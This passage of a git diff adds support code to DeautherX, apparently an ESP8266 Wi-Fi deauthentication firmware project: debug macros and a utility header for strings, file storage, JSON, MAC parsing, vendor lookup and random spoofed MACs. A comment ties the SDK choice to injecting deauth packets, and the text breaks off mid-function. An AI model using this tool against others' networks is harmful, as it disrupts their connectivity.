DeautherX/data/web/js/ssids.js.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/cn.lang.gz
Normal file
BIN
DeautherX/data/web/lang/cn.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/cs.lang.gz
Normal file
BIN
DeautherX/data/web/lang/cs.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/da.lang.gz
Normal file
BIN
DeautherX/data/web/lang/da.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/de.lang.gz
Normal file
BIN
DeautherX/data/web/lang/de.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/en.lang.gz
Normal file
BIN
DeautherX/data/web/lang/en.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/es.lang.gz
Normal file
BIN
DeautherX/data/web/lang/es.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/fi.lang.gz
Normal file
BIN
DeautherX/data/web/lang/fi.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/fr.lang.gz
Normal file
BIN
DeautherX/data/web/lang/fr.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/hu.lang.gz
Normal file
BIN
DeautherX/data/web/lang/hu.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/in.lang.gz
Normal file
BIN
DeautherX/data/web/lang/in.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/it.lang.gz
Normal file
BIN
DeautherX/data/web/lang/it.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/ja.lang.gz
Normal file
BIN
DeautherX/data/web/lang/ja.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/ko.lang.gz
Normal file
BIN
DeautherX/data/web/lang/ko.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/nl.lang.gz
Normal file
BIN
DeautherX/data/web/lang/nl.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/pl.lang.gz
Normal file
BIN
DeautherX/data/web/lang/pl.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/pt-br.lang.gz
Normal file
BIN
DeautherX/data/web/lang/pt-br.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/ptbr.lang.gz
Normal file
BIN
DeautherX/data/web/lang/ptbr.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/ro.lang.gz
Normal file
BIN
DeautherX/data/web/lang/ro.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/ru.lang.gz
Normal file
BIN
DeautherX/data/web/lang/ru.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/th.lang.gz
Normal file
BIN
DeautherX/data/web/lang/th.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/tlh.lang.gz
Normal file
BIN
DeautherX/data/web/lang/tlh.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/lang/uk.lang.gz
Normal file
BIN
DeautherX/data/web/lang/uk.lang.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/scan.html.gz
Normal file
BIN
DeautherX/data/web/scan.html.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/settings.html.gz
Normal file
BIN
DeautherX/data/web/settings.html.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/ssids.html.gz
Normal file
BIN
DeautherX/data/web/ssids.html.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/style.css.gz
Normal file
BIN
DeautherX/data/web/style.css.gz
Normal file
Binary file not shown.
41
DeautherX/debug.h
Normal file
41
DeautherX/debug.h
Normal file
@@ -0,0 +1,41 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "config.h"
|
||||
|
||||
#include <climits> // LONG_MAX
|
||||
#include <Arduino.h> // Serial
|
||||
|
||||
#ifdef ENABLE_DEBUG
|
||||
|
||||
#define debug_init()\
|
||||
DEBUG_PORT.begin(DEBUG_BAUD);\
|
||||
DEBUG_PORT.setTimeout(LONG_MAX);\
|
||||
DEBUG_PORT.println();
|
||||
|
||||
#define debug(...) DEBUG_PORT.print(__VA_ARGS__)
|
||||
#define debugln(...) DEBUG_PORT.println(__VA_ARGS__)
|
||||
#define debugf(...) DEBUG_PORT.printf(__VA_ARGS__)
|
||||
#define debugF(...) DEBUG_PORT.print(F(__VA_ARGS__))
|
||||
#define debuglnF(...) DEBUG_PORT.println(F(__VA_ARGS__))
|
||||
|
||||
#define debug_available() DEBUG_PORT.available()
|
||||
#define debug_read() DEBUG_PORT.read()
|
||||
#define debug_peek() DEBUG_PORT.peek()
|
||||
|
||||
#else /* ifdef ENABLE_DEBUG */
|
||||
|
||||
#define debug_init() 0
|
||||
|
||||
#define debug(...) 0
|
||||
#define debugln(...) 0
|
||||
#define debugf(...) 0
|
||||
#define debugF(...) 0
|
||||
#define debuglnF(...) 0
|
||||
|
||||
#define debug_available() 0
|
||||
#define debug_read() 0
|
||||
#define debug_peek() 0
|
||||
|
||||
#endif /* ifdef ENABLE_DEBUG */
|
||||
834
DeautherX/functions.h
Normal file
834
DeautherX/functions.h
Normal file
@@ -0,0 +1,834 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <LittleFS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
|
||||
#include "language.h"
|
||||
|
||||
/*
|
||||
Here is a collection of useful functions and variables.
|
||||
They are used globally via an 'extern' reference in every class.
|
||||
Making everything static will lead to problems with the Arduino ESP8266 2.0.0 SDK,
|
||||
there were some fixed in later version but we need to use the old version for injecting deauth packets.
|
||||
*/
|
||||
|
||||
uint8_t broadcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
|
||||
uint8_t wifi_channel = 1;
|
||||
|
||||
String apPath = "/accesspoint_repeater.txt";
|
||||
|
||||
// ===== UTF8 FIX ===== //
|
||||
String escape(String str) {
|
||||
str.replace(String(BACKSLASH), String(BACKSLASH) + String(BACKSLASH));
|
||||
str.replace(String(DOUBLEQUOTES), String(BACKSLASH) + String(DOUBLEQUOTES));
|
||||
return str;
|
||||
}
|
||||
|
||||
bool ascii(char c) {
|
||||
return c >= 0 && c <= 127;
|
||||
}
|
||||
|
||||
bool printableAscii(char c) {
|
||||
return c >= 32 && c <= 126;
|
||||
}
|
||||
|
||||
bool getBit(uint8_t b, uint8_t n) {
|
||||
return (b >> n) % 2 != 0;
|
||||
}
|
||||
|
||||
uint8_t utf8(uint8_t c) {
|
||||
if (!getBit(c, 7)) return 1;
|
||||
|
||||
if (getBit(c, 7) && getBit(c, 6) && !getBit(c, 5)) return 2;
|
||||
|
||||
if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && !getBit(c, 4)) return 3;
|
||||
|
||||
if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && getBit(c, 4) && !getBit(c, 3)) return 4;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool utf8Part(uint8_t c) {
|
||||
return getBit(c, 7) && !getBit(c, 6);
|
||||
}
|
||||
|
||||
String fixUtf8(String str) {
|
||||
int size = str.length();
|
||||
|
||||
String result = String();
|
||||
char c;
|
||||
uint8_t len;
|
||||
bool ok;
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
c = str.charAt(i); // get character
|
||||
len = utf8(c); // get utf8 char len
|
||||
|
||||
if (len <= 1) {
|
||||
result += c; // when 1 byte char, add it :)
|
||||
}
|
||||
else if (i + len > size) { // when char bigger than remaining string, end loop
|
||||
i = size + 1;
|
||||
}
|
||||
else {
|
||||
ok = true;
|
||||
|
||||
for (int j = 1; j < len && ok; j++) {
|
||||
ok = utf8Part(str.charAt(i + j)); // if following char is compliant or not
|
||||
}
|
||||
|
||||
if (ok) result += c; // everything is ok, add char and continue
|
||||
else { // utf8 char is broken
|
||||
for (int j = 1; j < len; j++) { // go through the next bytes
|
||||
c = str.charAt(i + j);
|
||||
|
||||
if (utf8(c) == 1) result += c; // when byte is ascii, add it :)
|
||||
}
|
||||
i += len - 1; // skip utf8 char because we already managed it
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
String removeUtf8(String str) {
|
||||
str = fixUtf8(str); // fix it in case a utf char is broken
|
||||
int size = str.length();
|
||||
|
||||
String result = String();
|
||||
char c;
|
||||
uint8_t len;
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
c = str.charAt(i); // get character
|
||||
len = utf8(c); // get utf8 char len
|
||||
|
||||
if (len <= 1) result += c; // when 1 byte char, add it :)
|
||||
else i += len - 1; // skip other chars
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
int utf8Len(String str) {
|
||||
int size = str.length();
|
||||
|
||||
int result = 0;
|
||||
char c;
|
||||
uint8_t len;
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
c = str.charAt(i); // get character
|
||||
len = utf8(c); // get utf8 char len
|
||||
|
||||
if (len <= 1) result++; // when 1 byte char, add 1 :)
|
||||
else {
|
||||
result++;
|
||||
|
||||
for (int j = 1; j < len; j++) {
|
||||
c = str.charAt(i + j);
|
||||
|
||||
if (!utf8Part(c) && (utf8(c) == 1)) {
|
||||
Serial.println(c, HEX);
|
||||
result++; // if following char is compliant or not
|
||||
}
|
||||
}
|
||||
i += len - 1;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
String replaceUtf8(String str, String r) {
|
||||
str = fixUtf8(str); // fix it in case a utf char is broken
|
||||
int size = str.length();
|
||||
|
||||
String result = String();
|
||||
char c;
|
||||
uint8_t len;
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
c = str.charAt(i); // get character
|
||||
len = utf8(c); // get utf8 char len
|
||||
|
||||
if (len <= 1) result += c; // when 1 byte char, add it :)
|
||||
else {
|
||||
result += r;
|
||||
i += len - 1; // skip other chars
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// ===== LANGUAGE STRING FUNCTIONS ===== //
|
||||
|
||||
// for reading Strings from the PROGMEM
|
||||
String str(const char* ptr) {
|
||||
char keyword[strlen_P(ptr)];
|
||||
|
||||
strcpy_P(keyword, ptr);
|
||||
return String(keyword);
|
||||
}
|
||||
|
||||
// for converting keywords
|
||||
String keyword(const char* keywordPtr) {
|
||||
char keyword[strlen_P(keywordPtr)];
|
||||
|
||||
strcpy_P(keyword, keywordPtr);
|
||||
|
||||
String str = "";
|
||||
uint8_t len = strlen(keyword);
|
||||
uint8_t i = 0;
|
||||
|
||||
while (i < len && keyword[i] != SLASH && keyword[i] != COMMA) {
|
||||
str += keyword[i];
|
||||
i++;
|
||||
}
|
||||
|
||||
return str;
|
||||
}
|
||||
|
||||
// equals function
|
||||
bool eqls(const char* str, const char* keywordPtr) {
|
||||
if (strlen(str) > 255) return false; // when string too long
|
||||
|
||||
char keyword[strlen_P(keywordPtr) + 1];
|
||||
|
||||
strcpy_P(keyword, keywordPtr);
|
||||
|
||||
uint8_t lenStr = strlen(str);
|
||||
uint8_t lenKeyword = strlen(keyword);
|
||||
|
||||
if (lenStr > lenKeyword) return false; // string can't be longer than keyword (but can be smaller because of '/'
|
||||
|
||||
// and ',')
|
||||
|
||||
uint8_t a = 0;
|
||||
uint8_t b = 0;
|
||||
bool result = true;
|
||||
|
||||
while (a < lenStr && b < lenKeyword) {
|
||||
if ((keyword[b] == SLASH) || (keyword[b] == COMMA)) b++;
|
||||
|
||||
if (tolower(str[a]) != tolower(keyword[b])) result = false;
|
||||
|
||||
if (((a == lenStr) && !result) || !result) { // fast forward to next comma
|
||||
while (b < lenKeyword && keyword[b] != COMMA) b++;
|
||||
result = true;
|
||||
a = 0;
|
||||
} else {
|
||||
a++;
|
||||
b++;
|
||||
}
|
||||
}
|
||||
// comparison correct AND string checked until the end AND keyword checked until the end
|
||||
return result && a == lenStr && (keyword[b] == COMMA || keyword[b] == SLASH || keyword[b] == ENDOFLINE);
|
||||
}
|
||||
|
||||
bool eqls(String str, const char* keywordPtr) {
|
||||
return eqls(str.c_str(), keywordPtr);
|
||||
}
|
||||
|
||||
// boolean to string
|
||||
String b2s(bool input) {
|
||||
return str(input ? STR_TRUE : STR_FALSE);
|
||||
}
|
||||
|
||||
// boolean to asterix *
|
||||
String b2a(bool input) {
|
||||
return input ? String(ASTERIX) : String(SPACE);
|
||||
}
|
||||
|
||||
// string to boolean
|
||||
bool s2b(String input) {
|
||||
return eqls(input, STR_TRUE);
|
||||
}
|
||||
|
||||
// ===== PRINT FUNCTIONS ===== //
|
||||
void prnt(const String s) {
|
||||
Serial.print(s);
|
||||
}
|
||||
|
||||
void prnt(const bool b) {
|
||||
Serial.print(b2s(b));
|
||||
}
|
||||
|
||||
void prnt(const char c) {
|
||||
Serial.print(c);
|
||||
}
|
||||
|
||||
void prnt(const char* ptr) {
|
||||
Serial.print(FPSTR(ptr));
|
||||
}
|
||||
|
||||
void prnt(const char* ptr, int len) {
|
||||
for (int i = 0; i<len; i++) prnt(ptr[i]);
|
||||
}
|
||||
|
||||
void prnt(const int i) {
|
||||
Serial.print((String)i);
|
||||
}
|
||||
|
||||
void prnt(const uint32_t i) {
|
||||
Serial.printf("%u", i);
|
||||
}
|
||||
|
||||
void prntln() {
|
||||
Serial.println();
|
||||
}
|
||||
|
||||
void prntln(const String s) {
|
||||
Serial.println(s);
|
||||
}
|
||||
|
||||
void prntln(const bool b) {
|
||||
Serial.println(b2s(b));
|
||||
}
|
||||
|
||||
void prntln(const char c) {
|
||||
Serial.println(c);
|
||||
}
|
||||
|
||||
void prntln(const char* ptr) {
|
||||
Serial.println(FPSTR(ptr));
|
||||
}
|
||||
|
||||
void prntln(const char* ptr, int len) {
|
||||
for (int i = 0; i<len; i++) prnt(ptr[i]);
|
||||
prntln();
|
||||
}
|
||||
|
||||
void prntln(const int i) {
|
||||
Serial.println((String)i);
|
||||
}
|
||||
|
||||
void prntln(const uint32_t i) {
|
||||
Serial.printf("%u\r\n", i);
|
||||
}
|
||||
|
||||
/* ===== WiFi ===== */
|
||||
void setWifiChannel(uint8_t ch, bool force) {
|
||||
if (((ch != wifi_channel) || force) && (ch < 15)) {
|
||||
wifi_channel = ch;
|
||||
wifi_set_channel(wifi_channel);
|
||||
}
|
||||
}
|
||||
|
||||
void setOutputPower(float dBm) {
|
||||
if (dBm > 20.5) {
|
||||
dBm = 20.5;
|
||||
} else if (dBm < 0) {
|
||||
dBm = 0;
|
||||
}
|
||||
|
||||
uint8_t val = (dBm * 4.0f);
|
||||
|
||||
system_phy_set_max_tpw(val);
|
||||
}
|
||||
|
||||
/* ===== MAC ADDRESSES ===== */
|
||||
bool macBroadcast(uint8_t* mac) {
|
||||
for (uint8_t i = 0; i < 6; i++)
|
||||
if (mac[i] != broadcast[i]) return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool macValid(uint8_t* mac) {
|
||||
for (uint8_t i = 0; i < 6; i++)
|
||||
if (mac[i] != 0x00) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool macMulticast(uint8_t* mac) {
|
||||
// see https://en.wikipedia.org/wiki/Multicast_address
|
||||
if ((mac[0] == 0x33) && (mac[1] == 0x33)) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x80) && (mac[2] == 0xC2)) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x00) && ((mac[2] == 0x5E) || (mac[2] == 0x0C))) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x0C) && (mac[2] == 0xCD) &&
|
||||
((mac[3] == 0x01) || (mac[3] == 0x02) || (mac[3] == 0x04)) &&
|
||||
((mac[4] == 0x00) || (mac[4] == 0x01))) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x00) && (mac[2] == 0x0C) && (mac[3] == 0xCC) && (mac[4] == 0xCC) &&
|
||||
((mac[5] == 0xCC) || (mac[5] == 0xCD))) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x1B) && (mac[2] == 0x19) && (mac[3] == 0x00) && (mac[4] == 0x00) &&
|
||||
(mac[5] == 0x00)) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ===== VENDOR LIST (oui.h) ===== */
|
||||
void getRandomMac(uint8_t* mac) {
|
||||
int num = random(sizeof(data_vendors) / 11 - 1);
|
||||
uint8_t i;
|
||||
|
||||
for (i = 0; i < 3; i++) mac[i] = pgm_read_byte_near(data_macs + num * 5 + i);
|
||||
|
||||
for (i = 3; i < 6; i++) mac[i] = random(256);
|
||||
}
|
||||
|
||||
int binSearchVendors(uint8_t* searchBytes, int lowerEnd, int upperEnd) {
|
||||
uint8_t listBytes[3];
|
||||
int res;
|
||||
int mid = (lowerEnd + upperEnd) / 2;
|
||||
|
||||
while (lowerEnd <= upperEnd) {
|
||||
listBytes[0] = pgm_read_byte_near(data_macs + mid * 5);
|
||||
listBytes[1] = pgm_read_byte_near(data_macs + mid * 5 + 1);
|
||||
listBytes[2] = pgm_read_byte_near(data_macs + mid * 5 + 2);
|
||||
|
||||
res = memcmp(searchBytes, listBytes, 3);
|
||||
|
||||
if (res == 0) {
|
||||
return mid;
|
||||
} else if (res < 0) {
|
||||
upperEnd = mid - 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
} else if (res > 0) {
|
||||
lowerEnd = mid + 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
String searchVendor(uint8_t* mac) {
|
||||
String vendorName = String();
|
||||
int pos = binSearchVendors(mac, 0, sizeof(data_macs) / 5 - 1);
|
||||
int realPos = pgm_read_byte_near(data_macs + pos * 5 + 3) | pgm_read_byte_near(data_macs + pos * 5 + 4) << 8;
|
||||
|
||||
if (pos >= 0) {
|
||||
char tmp;
|
||||
|
||||
for (int i = 0; i < 8; i++) {
|
||||
tmp = (char)pgm_read_byte_near(data_vendors + realPos * 8 + i);
|
||||
|
||||
if (tmp != ENDOFLINE) vendorName += tmp;
|
||||
tmp += SPACE;
|
||||
}
|
||||
}
|
||||
|
||||
return vendorName;
|
||||
}
|
||||
|
||||
/* ===== STRING ===== */
|
||||
String bytesToStr(const uint8_t* b, uint32_t size) {
|
||||
String str;
|
||||
|
||||
for (uint32_t i = 0; i < size; i++) {
|
||||
if (b[i] < 0x10) str += ZERO;
|
||||
str += String(b[i], HEX);
|
||||
|
||||
if (i < size - 1) str += DOUBLEPOINT;
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
String macToStr(const uint8_t* mac) {
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
bool strToMac(String macStr, uint8_t* mac) {
|
||||
macStr.replace(String(DOUBLEPOINT), String()); // ":" -> ""
|
||||
macStr.replace("0x", String()); // "0x" -> ""
|
||||
macStr.replace(String(COMMA), String()); // "," -> ""
|
||||
macStr.replace(String(DOUBLEQUOTES), String()); // "\"" -> ""
|
||||
macStr.toUpperCase();
|
||||
|
||||
if (macStr.length() != 12) {
|
||||
prntln(F_ERROR_MAC);
|
||||
return false;
|
||||
}
|
||||
|
||||
for (uint8_t i = 0; i < 6; i++) mac[i] = strtoul((macStr.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool strToIP(String ipStr, uint8_t* ip) {
|
||||
String parts[4] = { "0", "0", "0", "0" };
|
||||
int ipAddr[4] = { -1, -1, -1, -1 };
|
||||
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i<ipStr.length(); i++) {
|
||||
if (ipStr[i] == '.') j++;
|
||||
else parts[j] += ipStr[i];
|
||||
}
|
||||
|
||||
for (int i = 0; i<4; i++) {
|
||||
ipAddr[i] = parts[i].toInt();
|
||||
if ((ipAddr[i] < 0) || (ipAddr[i] > 255)) return false;
|
||||
}
|
||||
|
||||
for (int i = 0; i<4; i++) {
|
||||
ip[i] = (uint8_t)ipAddr[i];
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void strToColor(String str, uint8_t* buf) {
|
||||
str.replace(":", "");
|
||||
str.replace("0x", "");
|
||||
str.replace(",", "");
|
||||
str.replace("#", "");
|
||||
str.toUpperCase();
|
||||
|
||||
if (str.length() != 6) {
|
||||
prntln(F_COLOR_INVALID);
|
||||
return;
|
||||
}
|
||||
|
||||
for (uint8_t i = 0; i < 3; i++) buf[i] = strtoul((str.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
||||
}
|
||||
|
||||
String center(String a, int len) {
|
||||
int spaces = len - a.length();
|
||||
|
||||
for (int i = 0; i < spaces; i += 2) {
|
||||
a = ' ' + a + ' ';
|
||||
}
|
||||
|
||||
a = a.substring(0, len);
|
||||
|
||||
return a;
|
||||
}
|
||||
|
||||
String left(String a, int len) {
|
||||
int spaces = len - a.length();
|
||||
|
||||
while (spaces > 0) {
|
||||
a = a + ' ';
|
||||
spaces--;
|
||||
}
|
||||
|
||||
a = a.substring(0, len);
|
||||
|
||||
return a;
|
||||
}
|
||||
|
||||
String right(String a, int len) {
|
||||
int spaces = len - a.length();
|
||||
|
||||
while (spaces > 0) {
|
||||
a = ' ' + a;
|
||||
spaces--;
|
||||
}
|
||||
|
||||
a = a.substring(0, len);
|
||||
|
||||
return a;
|
||||
}
|
||||
|
||||
String leftRight(String a, String b, int len) {
|
||||
int spaces = len - a.length() - b.length();
|
||||
|
||||
while (spaces > 0) {
|
||||
a = a + ' ';
|
||||
spaces--;
|
||||
}
|
||||
|
||||
a = a + b;
|
||||
|
||||
a = a.substring(0, len);
|
||||
|
||||
return a;
|
||||
}
|
||||
|
||||
/* ===== SPIFFS ===== */
|
||||
bool progmemToSpiffs(const char* adr, int len, String path) {
|
||||
prnt(str(SETUP_COPYING) + path + str(SETUP_PROGMEM_TO_SPIFFS));
|
||||
File f = LittleFS.open(path, "w+");
|
||||
|
||||
if (!f) {
|
||||
prntln(SETUP_ERROR);
|
||||
return false;
|
||||
}
|
||||
|
||||
for (int i = 0; i < len; i++) {
|
||||
f.write(pgm_read_byte_near(adr + i));
|
||||
}
|
||||
f.close();
|
||||
|
||||
prntln(SETUP_OK);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool readFile(String path, String& buf) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = LittleFS.open(path, "r");
|
||||
|
||||
if (!f) return false;
|
||||
|
||||
if (f.size() == 0) return false;
|
||||
|
||||
while (f.available()) buf += (char)f.read();
|
||||
|
||||
f.close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void readFileToSerial(String path, bool showLineNum) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = LittleFS.open(path, "r");
|
||||
|
||||
if (!f) {
|
||||
prnt(F_ERROR_READING_FILE);
|
||||
prntln(path);
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t c = 0;
|
||||
char tmp;
|
||||
|
||||
if (showLineNum) {
|
||||
prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6));
|
||||
}
|
||||
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
prnt(tmp);
|
||||
|
||||
if ((tmp == NEWLINE) && showLineNum) {
|
||||
c++;
|
||||
prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6));
|
||||
}
|
||||
}
|
||||
|
||||
f.close();
|
||||
}
|
||||
|
||||
bool copyFile(String pathFrom, String pathTo) {
|
||||
if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;
|
||||
|
||||
if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;
|
||||
|
||||
if (!LittleFS.exists(pathFrom)) {
|
||||
prnt(F_ERROR_FILE);
|
||||
prntln(pathFrom);
|
||||
return false;
|
||||
}
|
||||
|
||||
File f1 = LittleFS.open(pathFrom, "r");
|
||||
File f2 = LittleFS.open(pathTo, "w+");
|
||||
|
||||
if (!f1 || !f2) return false;
|
||||
|
||||
while (f1.available()) {
|
||||
f2.write(f1.read());
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool renameFile(String pathFrom, String pathTo) {
|
||||
if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;
|
||||
|
||||
if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;
|
||||
|
||||
if (!LittleFS.exists(pathFrom)) {
|
||||
prnt(F_ERROR_FILE);
|
||||
prntln(pathFrom);
|
||||
return false;
|
||||
}
|
||||
|
||||
LittleFS.rename(pathFrom, pathTo);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool writeFile(String path, String& buf) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = LittleFS.open(path, "w+");
|
||||
|
||||
if (!f) return false;
|
||||
|
||||
uint32_t len = buf.length();
|
||||
|
||||
for (uint32_t i = 0; i < len; i++) f.write(buf.charAt(i));
|
||||
f.close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool appendFile(String path, String& buf) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = LittleFS.open(path, "a+");
|
||||
|
||||
if (!f) return false;
|
||||
|
||||
uint32_t len = buf.length();
|
||||
|
||||
for (uint32_t i = 0; i < len; i++) f.write(buf[i]);
|
||||
f.close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void checkFile(String path, String data) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (!LittleFS.exists(path)) writeFile(path, data);
|
||||
}
|
||||
|
||||
bool removeLines(String path, int lineFrom, int lineTo) {
|
||||
int c = 0;
|
||||
char tmp;
|
||||
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
String tmpPath = str(F_TMP) + path + str(F_COPY);
|
||||
|
||||
File f = LittleFS.open(path, "r");
|
||||
File f2 = LittleFS.open(tmpPath, "w");
|
||||
|
||||
if (!f || !f2) return false;
|
||||
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
|
||||
if ((c < lineFrom) || (c > lineTo)) f2.write(tmp);
|
||||
|
||||
if (tmp == NEWLINE) c++;
|
||||
}
|
||||
|
||||
f.close();
|
||||
f2.close();
|
||||
LittleFS.remove(path);
|
||||
LittleFS.rename(tmpPath, path);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool replaceLine(String path, int line, String& buf) {
|
||||
int c = 0;
|
||||
char tmp;
|
||||
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
String tmpPath = "/tmp" + path + "_copy";
|
||||
|
||||
File f = LittleFS.open(path, "r");
|
||||
File f2 = LittleFS.open(tmpPath, "w");
|
||||
|
||||
if (!f || !f2) return false;
|
||||
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
|
||||
if (c != line) f2.write(tmp);
|
||||
else {
|
||||
f2.println(buf);
|
||||
|
||||
while (f.read() != NEWLINE && f.available()) {}
|
||||
c++;
|
||||
}
|
||||
|
||||
if (tmp == NEWLINE) c++;
|
||||
}
|
||||
|
||||
f.close();
|
||||
f2.close();
|
||||
LittleFS.remove(path);
|
||||
LittleFS.rename(tmpPath, path);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
// create JSON Variant
|
||||
JsonVariant root;
|
||||
|
||||
// create buffer
|
||||
String buf = "";
|
||||
|
||||
// read file into buffer
|
||||
if (!readFile(path, buf)) { // if file couldn't be opened, send 404 error
|
||||
prnt(F_ERROR_OPEN);
|
||||
prntln(path);
|
||||
buf = "{}";
|
||||
}
|
||||
|
||||
// parse file-buffer into a JSON Variant
|
||||
root = jsonBuffer.parse(buf);
|
||||
|
||||
// if parsing unsuccessful
|
||||
if (!root.success()) {
|
||||
prnt(F_ERROR_PARSING_JSON);
|
||||
prntln(path);
|
||||
prntln(buf);
|
||||
}
|
||||
|
||||
return root;
|
||||
}
|
||||
|
||||
bool removeFile(String path) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
return LittleFS.remove(path);
|
||||
}
|
||||
|
||||
void saveJSONFile(String path, JsonObject& root) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
// create buffer
|
||||
String buf;
|
||||
|
||||
// convert JSON object into string and write it into buffer
|
||||
root.printTo(buf);
|
||||
|
||||
// if buffer too big
|
||||
if (buf.length() > 2048) {
|
||||
prntln(F_ERROR_TO_BIG);
|
||||
prntln(path);
|
||||
prntln(buf);
|
||||
return;
|
||||
}
|
||||
|
||||
// write buffer into SPIFFS file
|
||||
writeFile(path, buf);
|
||||
}
|
||||
|
||||
void saveJSONFile(String path, JsonArray& root) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
// create buffer
|
||||
String buf;
|
||||
|
||||
// convert JSON object into string and write it into buffer
|
||||
root.printTo(buf);
|
||||
|
||||
// if buffer too big
|
||||
if (buf.length() > 2048) {
|
||||
